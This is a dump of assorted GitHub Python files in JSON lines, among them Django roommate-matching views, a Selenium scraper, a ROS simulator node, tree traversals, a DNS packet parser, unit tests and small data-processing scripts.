self.kwargs.get('pk')\n return get_object_or_404(UserProfile, user__pk=user_pk)\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n return context\n\n\nclass ApartmentUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n model = Apartment\n form_class = ApartmentForm\n template_name = 'manage_apartment.html'\n\n def test_func(self):\n apartment = self.get_object()\n return self.request.user == apartment.author\n\n def handle_no_permission(self):\n messages.error(self.request, \"You don't have permission to edit this apartment.\")\n return redirect('browse_rooms')\n\n def form_valid(self, form):\n apartment = form.save(commit=False)\n apartment.author = self.request.user\n apartment.save()\n files = self.request.FILES.getlist('images')\n for image in apartment.images.all():\n image.delete()\n for f in files:\n image_instance = ApartmentImage.objects.create(image=f, apartment=apartment)\n apartment.images.add(image_instance)\n return redirect('apartment_detail', pk=apartment.pk)\n\n def form_invalid(self, form):\n messages.error(self.request, 'There was an error updating the apartment. Please try again.')\n return super().form_invalid(form)\n\n\n@login_required\ndef delete_apartment(request, pk):\n Apartment.objects.filter(id=pk).delete()\n return redirect('browse_rooms')\n\n\n@login_required\ndef favorite_rooms(request):\n favorites = Favorite.objects.filter(user=request.user)\n return render(request, 'favorite_rooms.html', {'favorites': favorites})\n\n\nclass MatchFinder(LoginRequiredMixin, View):\n\n @staticmethod\n def calculate_compatibility(user, other_user, user_preference, other_user_preference):\n if user.userprofile.birthdate is None or other_user.userprofile.birthdate is None:\n return 0 # If either user's birthdate is not set, skip this user and return a compatibility percentage of 0\n\n user_age = (date.today() - user.userprofile.birthdate).days // 365\n other_user_age = (date.today() - other_user.userprofile.birthdate).days // 365\n\n fixed_score_categories = 7\n score = 0\n\n # Check for gender preference match\n if user_preference.preferred_gender in (\n other_user.userprofile.gender, 'any') and other_user_preference.preferred_gender in (\n user.userprofile.gender, 'any'):\n score += 1\n\n # Check for age preference match\n age_match = user_preference.preferred_age_min <= other_user_age <= user_preference.preferred_age_max\n other_age_match = other_user_preference.preferred_age_min <= user_age <= other_user_preference.preferred_age_max\n if age_match and other_age_match:\n score += 1\n\n # Check for smoking preference match\n if other_user.preference.smoking_preference in (\n user_preference.smoking_preference, 'indifferent') and user.preference.smoking_preference in (\n other_user_preference.smoking_preference, 'indifferent'):\n score += 1\n\n # Check for pets preference match\n if other_user.preference.pets_preference in (\n user_preference.pets_preference, 'indifferent') and user.preference.pets_preference in (\n other_user_preference.pets_preference, 'indifferent'):\n score += 1\n\n # Check for work schedule match\n if user.lifestyle.work_schedule == other_user.lifestyle.work_schedule:\n score += 1\n\n # Check for cleanliness match\n if user.lifestyle.cleanliness == other_user.lifestyle.cleanliness:\n score += 1\n\n # Check for social match\n if user.lifestyle.social == other_user.lifestyle.social:\n score += 1\n\n # Calculate common interests and hobbies\n common_interests = set(user.lifestyle.interests.split(', ')) & set(\n other_user.lifestyle.interests.split(', '))\n common_hobbies = set(user.lifestyle.hobbies.split(', ')) & set(\n other_user.lifestyle.hobbies.split(', '))\n\n # Add common interests and hobbies count to the score\n score += len(common_interests) + len(common_hobbies)\n\n # Calculate max_score dynamically\n max_interests = max(len(user.lifestyle.interests.split(', ')), len(other_user.lifestyle.interests.split(', ')))\n max_hobbies = max(len(user.lifestyle.hobbies.split(', ')), len(other_user.lifestyle.hobbies.split(', ')))\n max_score = fixed_score_categories + max_interests + max_hobbies\n\n compatibility_percentage = (score / max_score) * 100\n\n return compatibility_percentage\n\n def get(self, request, *args, **kwargs):\n user = request.user\n user_preference = user.preference\n\n # Check if the user is a provider\n if user.userprofile.user_type != 'seeker':\n messages.error(request, \"Access restricted. This page is available only for seeker users.\")\n return redirect('home') # Redirect to a different page, e.g., home or user profile\n\n # Filter users who have a profile and are providers\n users = User.objects.exclude(id=user.id).exclude(userprofile=None).filter(userprofile__user_type='provider',\n apartment__isnull=False)\n\n scored_users = []\n for other_user in users:\n other_user_preference = other_user.preference # Get the other user's preferences\n compatibility = self.calculate_compatibility(user, other_user, user_preference, other_user_preference)\n scored_users.append((other_user, compatibility))\n\n scored_users.sort(key=lambda x: x[1], reverse=True)\n\n context = {\n 'matched_users': scored_users,\n 'current_user': request.user,\n }\n return render(request, 'matched_users.html', context)\n\n\n@login_required\ndef messages_view(request, user_id):\n user = User.objects.get(pk=user_id)\n # Fetch users with conversations\n users_with_conversations = User.objects.filter(\n Q(sent_messages__receiver=request.user) | Q(received_messages__sender=request.user)\n ).distinct()\n\n # Calculate compatibility score using the same preference settings for both users\n compatibility_score = MatchFinder.calculate_compatibility(request.user, user, request.user.preference,\n user.preference)\n if request.method == 'POST':\n form = MessageForm(request.POST)\n if form.is_valid():\n message = form.save(commit=False)\n message.sender = request.user\n message.receiver = user\n message.save()\n return redirect('messages_view', user_id=user_id)\n else:\n form = MessageForm()\n\n messages = Message.objects.filter(sender=request.user, receiver=user) | Message.objects.filter(sender=user,\n receiver=request.user)\n messages = messages.order_by('timestamp')\n\n # Mark messages as read\n unread_messages = messages.filter(receiver=request.user, is_read=False)\n unread_messages.update(is_read=True)\n\n return render(request, 'messages.html',\n {'form': form, 'chat_messages': messages, 'receiver': user,\n 'users_with_conversations': users_with_conversations, 'suppress_messages_modal': True,\n 'compatibility_score': compatibility_score, })\n\n\nclass UnreadMessagesView(LoginRequiredMixin, ListView):\n model = Message\n template_name = 'unread_messages.html'\n context_object_name = 'conversations'\n\n def get_queryset(self):\n latest_messages = Message.objects.filter(receiver=self.request.user, is_read=False,\n sender=OuterRef('sender')).order_by('-timestamp')\n return Message.objects.filter(receiver=self.request.user, is_read=False,\n timestamp=Subquery(latest_messages.values('timestamp')[:1])).order_by(\n '-timestamp')\n\n\n@login_required\ndef conversations_view(request):\n # Fetch users with conversations\n users_with_conversations = User.objects.filter(\n Q(sent_messages__receiver=request.user) | Q(received_messages__sender=request.user)\n ).distinct()\n\n return render(request, 'conversations.html', {'users_with_conversations': users_with_conversations})\n","repo_name":"Spikyd/Roomstack","sub_path":"roommate/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32282648961","text":"# -*- coding:utf-8 -*-\nfrom selenium import webdriver\nimport time\nimport json\n\n\nclass TTjijin:\n def __init__(self):\n self.start_url = \"http://fund.eastmoney.com/data/fundranking.html#tall;c0;r;szzf;pn50;ddesc;qsd20191124;qed20201124;qdii;zq;gg;gzbd;gzfs;bbzt;sfbb\"\n self.driver = webdriver.Chrome()\n self.total_content = []\n\n def get_content_list(self):\n td_list = self.driver.find_elements_by_xpath(\"//table[@id='dbtable']/tbody/tr\")\n content_list = []\n for td in td_list:\n item={}\n item[\"id\"] = td.find_element_by_xpath(\"./td[\"+1+\"]\")\n\n content_list.append(item)\n next_url = self.driver.find_element_by_link_text('下一页')\n next_url = next_url[0] if len(next_url) > 0 else None\n return content_list, next_url\n\n def save_content_list(self, content_list):\n print(content_list)\n\n\n def run(self):\n self.driver.get(self.start_url)\n\n content_list, next_url = self.get_content_list()\n\n self.save_content_list(content_list)\n\n\nif __name__ == \"__main__\":\n tt = TTjijin()\n tt.run()\n\n","repo_name":"focusdroid-python/flask-demo","sub_path":"Reptile/testReptile/01-tiantianjijin.py","file_name":"01-tiantianjijin.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14120578650","text":"\"\"\"\ndef a_function(elem):\n return elem ** 2\n\nprint \"Map\"\nprint map(a_function, [1, 2, 3, 4])\n\nprint \"Filter\"\nprint filter(lambda x: x % 2 == 0, [1, 2, 3, 4])\n\n\nprint \"Reduce\"\nprint reduce(lambda acc, x: acc + x, [1, 2, 3, 4], 5)\n\"\"\"\n\n\na_list = [1, 2, 3, 4, 5, 6, 7, 8, 9]\n\nsum([e ** 2 for e in a_list if e < 5])\n\nreduce(lambda acc, x: acc + x, map(lambda x: x ** 2, (filter(lambda x: x < 5, a_list))))\n","repo_name":"rmotr-students-code/003_PYP_G2","sub_path":"class 2/functional_programming.py","file_name":"functional_programming.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2218490641","text":"from .lib.manipulator_sim import ManipulatorSim\nimport rclpy\n\nfrom rclpy.node import Node\nfrom std_msgs.msg import Float64, Int64\nfrom sensor_msgs.msg import JointState\n\nfrom sofar_manipulator_simulator_interface.srv import IKService, LocService\n\nfrom ament_index_python.packages import get_package_share_directory\n\n\nclass ManipulatorSimNode(Node):\n\n def __init__(self):\n super().__init__(\"manipulator_sim_node\")\n\n # Manipulator simulator\n self.sim = ManipulatorSim(\n get_package_share_directory(\"sofar_manipulator_simulator\")\n )\n self.sim.setup()\n self.sim.thread.start()\n\n # Subscriber for setting joint state\n self.create_subscription(JointState, \"/robot/joint_cmd\", self.on_joint_cmd, 10)\n\n # Subscriber for controlling robot's gripper\n self.create_subscription(Int64, \"/robot/gripper_cmd\", self.on_gripper_cmd, 10)\n\n # Service for computing inverse kinematics\n self.create_service(IKService, \"/robot/ik\", self.compute_ik)\n\n # Service for retrieving coordinates of ball/target\n self.create_service(LocService, \"/objects/location\", self.get_object_location)\n\n\n # Callback invoked whenever desired joint configuration is received\n def on_joint_cmd(self, msg: JointState):\n self.sim.robot.set_joint_angles(\n float(msg.position[0]),\n float(msg.position[1]),\n float(msg.position[2])\n )\n\n # Callback for controlling robot's gripper\n def on_gripper_cmd(self, msg: Int64):\n if msg.data == 1:\n self.sim.grasp()\n elif msg.data == -1:\n self.sim.drop()\n\n # Callback to compute ik \n def compute_ik(self, request: IKService.Request, response: IKService.Response):\n # Get desired end-effector pose from request\n x_d = request.desired_ee_pose.x\n y_d = request.desired_ee_pose.y\n theta_d = request.desired_ee_pose.theta\n # Compute IK and retrive desired joint angles (if any)\n q_des = self.sim.robot.inverse_kinematics(x_d, y_d, theta_d)\n # If IK computation was successful...\n if len(q_des) > 0:\n response.feasible.data = True\n for q in q_des:\n q_float = Float64()\n q_float.data = q\n response.desired_angles.append(q_float)\n # Else, if pose was not reachable...\n else:\n response.feasible.data = False\n return response\n \n \n # Callback for retrieving ball/target locations for computing IK\n def get_object_location(self, request: LocService.Request, response: LocService.Response):\n # Get request parameters\n item = request.item.data\n color = request.color.data\n # convert desired color to integer\n color_idx = 0 if color == \"RED\" else 1\n # If user requested location of a ball, fill data...\n if item == \"BALL\":\n response.location.x = self.sim.balls[color_idx].center_x - self.sim.origin[0]\n response.location.y = self.sim.balls[color_idx].center_y - self.sim.origin[1]\n response.location.z = 0.0\n # Else, if user requested the coordinates of a target location...\n elif item == \"TARGET\":\n response.location.x = self.sim.targets[color_idx].center_x - self.sim.origin[0]\n response.location.y = self.sim.targets[color_idx].center_y - self.sim.origin[1]\n response.location.z = 0.0\n return response\n\n \ndef main(args=None):\n \n rclpy.init(args=args)\n sim_node = ManipulatorSimNode()\n\n print(\"Press Ctrl+C to exit...\")\n rclpy.spin(sim_node)\n\n sim_node.destroy_node()\n rclpy.shutdown()\n \n\n# Script entry point\nif __name__ == \"__main__\":\n main()\n","repo_name":"SimoneMacci0/sofar-manipulator-simulator","sub_path":"sofar_manipulator_simulator/sofar_manipulator_simulator/manipulator_sim_node.py","file_name":"manipulator_sim_node.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25396821750","text":"# Definition for a binary tree node.\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def preorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if not root:\n return []\n else:\n return (\n [root.val]\n + self.preorderTraversal(root.left)\n + self.preorderTraversal(root.right)\n )\n\n def preorderTraversalStack(self, root: Optional[TreeNode]) -> List[int]:\n ret = []\n stack = [root]\n while stack:\n\n node = stack.pop()\n if node:\n ret.append(node.val)\n # вверху будет левое, потому что добавили позднее\n stack.append(node.right)\n stack.append(node.left)\n\n return ret\n\n def inorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if root is None:\n return []\n return (\n self.inorderTraversal(root.left)\n + [root.val]\n + self.inorderTraversal(root.right)\n )\n\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n res = []\n stack = []\n curr = root\n while curr or stack:\n while curr:\n stack.append(curr)\n curr = curr.left\n curr = stack.pop()\n res.append(curr.val)\n curr = curr.right\n return res\n\n def postorderTraversalRec(self, root: Optional[TreeNode]) -> List[int]:\n if root is None:\n return []\n return (\n self.postorderTraversal(root.left)\n + self.postorderTraversal(root.right)\n + [root.val]\n )\n\n def postorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n ret = []\n stack = [root]\n while stack:\n\n node = stack.pop()\n if node:\n ret.append(node.val)\n # вверху будет левое, потому что добавили позднее\n stack.append(node.left)\n stack.append(node.right)\n\n return ret[::-1]\n","repo_name":"Kristobal-Khunta/Algorithms","sub_path":"leetcode/trees/94.145.144.traverse.py","file_name":"94.145.144.traverse.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"38425745377","text":"import re\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom ansible_rulebook.cli import show_version\nfrom ansible_rulebook.util import check_jvm\n\n\ndef test_show_version(capsys):\n with pytest.raises(SystemExit):\n show_version()\n output = capsys.readouterr()\n assert not output.err\n pattern = re.compile(\n r\"\"\"(.+)\\d+\\.\\d+\\.\\d+'\n Executable location = (.+)\n Drools_jpy version = \\d+\\.\\d+\\.\\d+\n Java home = (.+)\n Java version = \\d+\\.\\d+\\.\\d+(\\.\\d+)?\n Python version = \\d+\\.\\d+\\.\\d+ (.+)$\"\"\"\n )\n assert pattern.match(output.out)\n\n\ndef test_check_jvm_bad_java_home():\n @patch(\"ansible_rulebook.util.get_java_home\")\n def get_java_home(mock_response):\n mock_response.return_value = None\n\n with pytest.raises(SystemExit) as excinfo:\n check_jvm()\n assert excinfo.value.code == 1\n\n\n@pytest.mark.parametrize(\n \"mocked_version\",\n [\n pytest.param(\n \"11.0.2\",\n id=\"lower\",\n ),\n pytest.param(\"Not found\", id=\"not_found\"),\n ],\n)\ndef test_check_jvm_bad_version(mocked_version):\n @patch(\"ansible_rulebook.util.get_java_version\")\n def get_java_version(mock_response):\n mock_response.return_value = mocked_version\n with pytest.raises(SystemExit) as excinfo:\n check_jvm()\n assert excinfo.value.code == 1\n\n\n@pytest.mark.parametrize(\n \"mocked_version\",\n [\n pytest.param(\n \"17.0.2\",\n id=\"semantic\",\n ),\n pytest.param(\"17.1.5.3\", id=\"semantic_extended\"),\n ],\n)\ndef test_check_jvm_java_version(mocked_version):\n @patch(\"ansible_rulebook.util.get_java_version\")\n def get_java_version(mock_response):\n mock_response.return_value = mocked_version\n result = check_jvm()\n assert result is None\n","repo_name":"hendersonreed/ansible-rulebook","sub_path":"tests/unit/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"}
+{"seq_id":"17925973695","text":"from flask import Flask\nfrom twilio.twiml.voice_response import VoiceResponse\n\napp = Flask(__name__)\n\nHOST = 'localhost'\nPORT = 5002\n\n@app.route(\"/answer-call\", methods=['GET', 'POST'])\ndef answer_call():\n \"\"\"Respond to incoming phone calls.\"\"\"\n\n # Start TwiML response\n resp = VoiceResponse()\n # Read a message aloud to the caller\n resp.say(\"Welcome to VoiceMed Dev. Redirecting you the Flow!\", voice='alice')\n # Record the message if needed\n # resp.record(timeout=10, transcribe=True)\n\n return str(resp)\n\n\nif __name__ == \"__main__\":\n app.run(host = HOST, port = PORT, debug = True)\n","repo_name":"sayonkumarsaha/voicemed-ivr-euvsvirus","sub_path":"src/answer_call.py","file_name":"answer_call.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"42064196243","text":"import json\nimport os\n\nimport pytest\nfrom airo_dataset_tools.coco_tools.split_dataset import split_coco_dataset\nfrom airo_dataset_tools.data_parsers.coco import CocoInstancesDataset\n\n\ndef test_keypoints_split():\n test_dir = os.path.dirname(os.path.realpath(__file__))\n annotations = os.path.join(test_dir, \"test_data/person_keypoints_val2017_small.json\")\n\n with open(annotations, \"r\") as file:\n data = json.load(file)\n coco_keypoints = CocoInstancesDataset(**data)\n datasets = split_coco_dataset(coco_keypoints, [0.5, 0.5])\n assert len(datasets) == 2\n assert len(datasets[0].annotations) == 1\n assert len(datasets[1].annotations) == 1\n assert len(datasets[0].images) == 1\n assert len(datasets[1].images) == 1\n assert len(datasets[0].annotations[0].keypoints) > 0\n\n\ndef test_empty_annotations_split_raises_error():\n test_dir = os.path.dirname(os.path.realpath(__file__))\n annotations = os.path.join(test_dir, \"test_data/person_keypoints_val2017_small.json\")\n\n with open(annotations, \"r\") as file:\n data = json.load(file)\n coco_keypoints = CocoInstancesDataset(**data)\n with pytest.raises(ValueError):\n split_coco_dataset(coco_keypoints, [0.9, 0.1], shuffle_before_splitting=False)\n","repo_name":"airo-ugent/airo-mono","sub_path":"airo-dataset-tools/test/test_coco_split.py","file_name":"test_coco_split.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"}
+{"seq_id":"20928126676","text":"import struct\nimport time\nTYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', 12: 'PTR', 15: 'MX ', 28: 'AAAA', 255: '*'}\n\n\nclass DNSPacket:\n def __init__(self, data):\n self.len_name = 0\n self.info = data\n self.header = list(struct.unpack('!6H', self.info[:12])) # Get header as six half-ints\n self._query_name = None\n self._query_name = self.query_name\n try:\n self.query_type = TYPES[self.info[12 + len(self.query_name) + 4]]\n except KeyError:\n self.query_type = \"*\"\n # print(self.query_type)\n rest = data[12 + len(self.query_name) + 5:]\n self.records = parse_records(self.query_name, rest, self.header[3:])\n\n @property\n def query_name(self):\n if not self._query_name:\n length = self.info[12:].find(b'\\x00')\n self.len_name = length\n name = self.info[12:12 + length]\n format = str(length) + 's'\n return struct.unpack(format, name)[0]\n return self._query_name\n\n def __bytes__(self):\n length = len(self.query_name)\n offset = 13 + length\n header = struct.pack('!6H', *self.header)\n format = str(length) + 's'\n name = struct.pack(format, self.query_name) + b'\\x00'\n records = b''.join([bytes(record) for rs in self.records for record in rs])\n return header + name + self.info[offset:offset + 4] + records\n\n\nclass ResourceRecord:\n def __init__(self, record_name, record_data, record_time):\n self.name = record_name\n self.info = record_data\n self.time = record_time\n self._ttl = int.from_bytes(self.info[6:10] or '\\x00', byteorder='big')\n\n def __bytes__(self):\n return self.info\n\n @property\n def ttl(self):\n self._ttl = int(self._ttl - time.time() + self.time)\n return self._ttl\n\n \ndef parse_records(name, data, counts):\n records = []\n pointer = 0\n sep = b'\\xc0\\x0c'\n packets = data[2:].split(sep)\n for count in counts:\n temp_records = []\n for i in range(count):\n try:\n temp_records.append(ResourceRecord(name, sep + packets[pointer + i], time.time()))\n except IndexError:\n break\n records.append(temp_records)\n pointer += count\n return records\n","repo_name":"BurningMarshmallow/network-tools","sub_path":"dns_cache/parse_resource_records.py","file_name":"parse_resource_records.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"4546825426","text":"\"\"\"\nClasses and Functions used in the FBResNet model.\nClasses\n-------\n Physics : Define the physical parameters of the ill-posed problem.\n MyMatmul : Multiplication with a kernel (for single or batch)\nMethods\n-------\n Export_Data : save a signal or function x \n Export_hyper : hyperparameters of the neural network\n \n@author: Cecile Della Valle\n@date: 03/01/2021\n\"\"\"\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`\n# General import\nimport torch.nn as nn\nimport torch\nimport numpy as np\nfrom torch.autograd import Variable\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`\n\n#\n\n#\nclass Physics:\n \"\"\"\n Define the physical parameters of the ill-posed problem.\n Alert : nx must be >> than m.\n Attributes\n ----------\n nx (int): size of initial signal \n m (int): size of eigenvectors span\n a (int): oder of ill-posedness \n p (int): order of a priori smoothness\n eigm (np.array): transformation between signal and eigenvectors basis\n Top (np.array): Abel operator from the finite element basis to the cos basis\n \"\"\"\n def __init__(self,nx=2000,m=50,a=1,p=1):\n \"\"\"\n Alert : nx must be >> than m.\n \"\"\"\n # Physical parameters\n self.nx = nx\n self.m = m\n self.a = a\n self.p = p\n # Eigenvalues\n self.eigm = (np.linspace(0,m-1,m)+1/2)*np.pi\n # Basis transformation\n base = np.zeros((self.m,self.nx)) \n h = 1/(self.nx-1)\n eig_m = self.eigm.reshape(-1,1)\n v1 = ((2*np.linspace(0,self.nx-1,self.nx)+1)*h/2).reshape(1,-1)\n v2 = (np.ones(self.nx)/2*h).reshape(1,-1)\n base = 2*np.sqrt(2)/eig_m*np.cos(v1*eig_m)*np.sin(v2*eig_m)\n self.basis = base\n # # Operator T\n # step 0 : Abel operator integral\n # the image of the cos(t) basis is projected in a sin(t) basis\n Tdiag = np.diag(1/self.eigm**self.a)\n # step 1 : From sin(t) basis to cos(t) basis\n eig_m = self.eigm.reshape(-1,1)\n base_sin = np.zeros((self.m,self.nx))\n base_sin = 2*np.sqrt(2)/eig_m*np.sin(v1*eig_m)*np.sin(v2*eig_m)\n # step 2 : Combinaison of Top and base change\n self.Top = np.matmul(base_sin.T,Tdiag)\n \n def BasisChange(self,x):\n \"\"\"\n Change basis from signal to eigenvectors span.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*m\n \"\"\"\n return np.matmul(x,(self.basis).T)\n \n def BasisChangeInv(self,x):\n \"\"\"\n Change basis from eigenvectors span to signal.\n Parameters\n ----------\n x (np.array): signal of size nxcxm\n Returns\n -------\n (np.array): of size nxcxnx\n \"\"\"\n return np.matmul(x,self.basis*self.nx)\n \n def Operators(self):\n \"\"\"\n Given a ill-posed problem of order a and an a priori of order p\n for a 1D signal of nx points,\n the fonction computes the array of the linear transformation T\n and arrays used in the algorithm.\n Returns\n -------\n (list): four numpy array, the regularisation a priori, the Abel operator,\n the ortogonal matrix from element to eigenvector basis\n \"\"\"\n # T = 1/nx*np.tri(nx, nx, 0, dtype=int).T # matrice de convolution\n Top = np.diag(1/self.eigm**(self.a))\n # D = 2*np.diag(np.ones(nx)) - np.diag(np.ones(nx-1),-1) - np.diag(np.ones(nx-1),1)# matrice de dérivation\n Dop = np.diag(self.eigm**(self.p))\n # matrix P of basis change from cos -> elt\n eltTocos = self.basis\n cosToelt = self.basis.T*self.nx\n # Convert to o Tensor\n tDD = Dop*Dop\n tTT = Top*Top\n #\n return [tDD,tTT,eltTocos,cosToelt]\n \n def Compute(self,x):\n \"\"\"\n Compute the transformation by the Abel integral operator\n in the basis of finite element.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*nx\n \"\"\"\n # Change to eig basis\n xeig = self.BasisChange(x)\n # Operator T : Abel operator integral\n return np.matmul(xeig,self.nx*self.Top.T)\n \n def ComputeAdjoint(self,y):\n \"\"\"\n Compute the transformation by the adjoint operator of Abel integral\n from the basis of finite element to eigenvectors.\n Parameters\n ----------\n x (np.array): signal of size n*c*nx\n Returns\n -------\n (np.array): of size n*c*m\n \"\"\"\n # T*= tT\n # < en , T^* phi_m > = < T en , phi_m > \n return np.matmul(y,self.Top)\n\n#\nclass MyMatmul(nn.Module):\n \"\"\"\n Performs 1D convolution with numpy array kernel\n Attributes\n ----------\n kernel (torch.FloatTensor): size nx*nx filter\n \"\"\"\n def __init__(self, kernel):\n \"\"\"\n Parameters\n ----------\n kernel (numpy array): convolution filter\n \"\"\"\n super(MyMatmul, self).__init__()\n kernel_nn = torch.FloatTensor(kernel)\n self.kernel = nn.Parameter(kernel_nn.T,requires_grad=False) \n \n def forward(self, x): \n \"\"\"\n Performs convolution.\n Parameters\n ----------\n x (torch.FloatTensor): 1D-signal, size n*c*nx\n Returns\n -------\n (torch.FloatTensor): result of the convolution, size n*c*nx\n \"\"\"\n x_tilde = torch.matmul(x,self.kernel)\n return x_tilde\n\n\n####################################################################\n####################################################################\n\n### EXPORT DATA\ndef Export_Data(xdata,ydata,folder,name):\n \"\"\"\n Save a signal in a chose folder\n for plot purpose.\n \"\"\"\n Npoint = np.size(xdata)\n with open(folder+'/'+name+'.txt', 'w') as f:\n f.writelines('xdata ydata \\n')\n for i in range(Npoint):\n web_browsers = ['{0}'.format(xdata[i]),' ','{0} \\n'.format(ydata[i])]\n f.writelines(web_browsers)\n\n### PLOT GAMMA ALPHA MU\ndef Export_hyper(resnet,x,x_b,folder):\n \"\"\"\n Export hyperparameters of a neural network\n \"\"\"\n nlayer = len(resnet.model.Layers)\n gamma = np.zeros(nlayer)\n reg = np.zeros(nlayer)\n mu = np.zeros(nlayer)\n for i in range(0,nlayer):\n gamma[i] = resnet.model.Layers[i].gamma_reg[0]\n reg[i] = resnet.model.Layers[i].gamma_reg[1]\n mu[i] = resnet.model.Layers[i].mu\n # export\n num = np.linspace(0,nlayer-1,nlayer)\n Export_Data(num, gamma, folder, 'gradstep')\n Export_Data(num, reg, folder, 'reg')\n Export_Data(num, mu, folder, 'prox')\n # plot\n fig, (ax0,ax1,ax2) = plt.subplots(1, 3)\n ax0.plot(num,gamma)\n ax0.set_title('gradstep')\n ax1.plot(num,reg)\n ax1.set_title('reg')\n ax2.plot(num,mu)\n ax2.set_title('prox')\n plt.show()","repo_name":"ceciledellavalle/FBResNet","sub_path":"FBRN/myfunc.py","file_name":"myfunc.py","file_ext":"py","file_size_in_byte":7144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6418764239","text":"#!env python3\n\nimport datetime\nimport pandas as pd\nimport numpy as np\nimport sys\nfrom pathlib import Path\n\n\nif __name__ == \"__main__\":\n\n ROOT = Path(__file__).resolve().parents[2]\n if len(sys.argv) > 1:\n url = sys.argv[1]\n else:\n url = str(ROOT / 'dados_diarios/covid_dados_2022-05-24.xlsx')\n\n data = pd.ExcelFile(url)\n data = data.parse(data.sheet_names[1], index_col='confirmation_date1')\n data.index.name = 'data'\n data = data.replace(np.nan, 0)\n data.columns = ['confirmados_novos', 'obitos_novos']\n data['confirmados'] = data['confirmados_novos'].cumsum()\n data['obitos'] = data['obitos_novos'].cumsum()\n\n data = data.applymap(lambda x: int(x))\n data = data[[data.columns[2], data.columns[0], data.columns[3], data.columns[1]]]\n\n #print(data.tail(2))\n data.to_csv(ROOT / 'dados_diarios.csv', sep=\",\")\n\n\n","repo_name":"dssg-pt/covid19pt-data","sub_path":".github/workflows/update_dados_diarios.py","file_name":"update_dados_diarios.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":447,"dataset":"github-code","pt":"72"}
+{"seq_id":"30686453885","text":"#오르막\nimport sys\nnums = list(map(int, sys.stdin.readline().rstrip().split()))\ni = 0\n\nfor j in range(1, len(nums)):\n if nums[i] > nums[j]:\n print('Bad')\n break\n i += 1\nelse:\n print('Good')","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Baekjoon/Baekjoon_python/boj_14910.py","file_name":"boj_14910.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30740904865","text":"from flask import Flask\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom os import path\r\nfrom .page import page\r\n\r\ndb = SQLAlchemy()\r\nDB_NAME = \"database.db\"\r\n\r\n\r\ndef create_app():\r\n app = Flask(__name__)\r\n app.config['SECRET_KEY'] = 'hjshjhdjah kjshkjdhjs'\r\n app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}'\r\n db.init_app(app)\r\n app.register_blueprint(page, url_prefix = '/')\r\n\r\n from .apiStuff import apiCall\r\n teamNames, playerInfo = apiCall()\r\n #rint(playerInfo)\r\n create_database(app, playerInfo)\r\n \r\n from .models import Players\r\n newP = Players(playerID = 10, playerName = \"Matt Prater\", teamShort = \"Ravens\", position = \"K\", height = \"6'/10\", weight = 100, college = \"Texas State\")\r\n db.session.add(newP)\r\n db.session.commit()\r\n \r\n exists = Players.query.filter_by(playerID = 10).first() is not None\r\n print(exists)\r\n \r\n return app\r\n\r\n\r\ndef create_database(app, playerInfo):\r\n if not path.exists('website/' + DB_NAME):\r\n db.create_all(app=app)\r\n print('Created Database!')\r\n \r\n # from .models import Players\r\n\r\n # for pID, info in playerInfo.items():\r\n # # ['Matt Prater', 'ARI', 'K', '5\\'10\"', 201, '1984-08-10T00:00:00', 'Central Florida']\r\n # print(info[0])\r\n # newPlayer = Players(playerID = pID, playerName = info[0], teamShort = info[1], position = info[2], height = info[3], weight = info[4], college = info[5])\r\n # db.session.add(newPlayer)\r\n # db.session.commit()\r\n \r\n #idk if we can do this \r\n # p1 = Players.query.filter_by(playerID=22501).first()\r\n # if p1:\r\n # print(\"PLAYER FOUND\")\r\n # else:\r\n # print(\"NOT FOUND\")","repo_name":"HamzzaShaikh/newtrial","sub_path":"newTrial/website/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
